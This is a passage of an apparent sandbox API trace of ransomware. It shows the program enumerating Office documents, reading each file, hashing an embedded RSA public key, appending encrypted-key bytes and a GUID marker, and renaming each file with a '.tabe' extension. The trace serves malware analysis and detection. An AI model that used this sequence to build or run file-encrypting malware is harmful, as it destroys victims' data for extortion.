hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x5175, lpOverlapped=0x0) returned 1 [0126.277] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.278] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.278] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.278] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.278] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.278] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.278] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.278] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.278] GetLastError () returned 0x0 [0126.278] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.279] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.279] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.279] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.279] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.279] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.279] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5175, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.279] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.279] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.279] CloseHandle (hObject=0x618) returned 1 [0126.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fzzO4F.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fzzo4f.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fzzO4F.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fzzo4f.xlsx.tabe")) returned 1 [0126.281] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda620a00, ftCreationTime.dwHighDateTime=0x1d5915a, ftLastAccessTime.dwLowDateTime=0x52345290, ftLastAccessTime.dwHighDateTime=0x1d5a7a9, ftLastWriteTime.dwLowDateTime=0x52345290, ftLastWriteTime.dwHighDateTime=0x1d5a7a9, nFileSizeHigh=0x0, nFileSizeLow=0x16df9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="L1XKTglsoKdjgkn7BZ.xlsx", cAlternateFileName="L1XKTG~1.XLS")) returned 1 [0126.281] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L1XKTglsoKdjgkn7BZ.xlsx") returned=".xlsx" [0126.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L1XKTglsoKdjgkn7BZ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l1xktglsokdjgkn7bz.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.282] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=93689) returned 1 [0126.282] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.283] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16dd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.283] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.284] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16df9, lpOverlapped=0x0) returned 1 [0126.285] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.285] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.285] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.285] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.286] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.286] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.286] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.286] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.286] GetLastError () returned 0x0 [0126.286] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.286] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.286] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.286] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.286] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.287] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.287] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16df9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.287] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.287] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.287] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.287] CloseHandle (hObject=0x618) returned 1 [0126.289] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L1XKTglsoKdjgkn7BZ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l1xktglsokdjgkn7bz.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L1XKTglsoKdjgkn7BZ.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l1xktglsokdjgkn7bz.xlsx.tabe")) returned 1 [0126.290] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58071da0, ftCreationTime.dwHighDateTime=0x1d57d98, ftLastAccessTime.dwLowDateTime=0xd4f81750, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xd4f81750, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x10163, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="l8TAds.xlsx", cAlternateFileName="L8TADS~1.XLS")) returned 1 [0126.290] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8TAds.xlsx") returned=".xlsx" [0126.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8TAds.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l8tads.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.290] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=65891) returned 1 [0126.291] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.291] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1013d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.292] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.293] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10163, lpOverlapped=0x0) returned 1 [0126.294] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.294] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.294] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.294] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.294] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.295] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.295] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.295] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.295] GetLastError () returned 0x0 [0126.295] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.295] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.295] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.295] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.295] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.295] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.295] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10163, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.296] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.296] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.296] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.296] CloseHandle (hObject=0x618) returned 1 [0126.297] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8TAds.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l8tads.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8TAds.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l8tads.xlsx.tabe")) returned 1 [0126.298] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb5f020, ftCreationTime.dwHighDateTime=0x1d58e77, ftLastAccessTime.dwLowDateTime=0x5ad22500, ftLastAccessTime.dwHighDateTime=0x1d5d43e, ftLastWriteTime.dwLowDateTime=0x5ad22500, ftLastWriteTime.dwHighDateTime=0x1d5d43e, nFileSizeHigh=0x0, nFileSizeLow=0x621f, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lQwOwuRg4EU.pptx", cAlternateFileName="LQWOWU~1.PPT")) returned 1 [0126.298] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lQwOwuRg4EU.pptx") returned=".pptx" [0126.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lQwOwuRg4EU.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lqwowurg4eu.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.298] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=25119) returned 1 [0126.298] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.299] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x61f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.299] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.300] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x621f, lpOverlapped=0x0) returned 1 [0126.301] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.301] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.301] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.301] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.302] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.302] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.302] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.302] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.302] GetLastError () returned 0x0 [0126.302] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.302] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.302] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.302] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.302] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.302] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.303] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x621f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.303] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 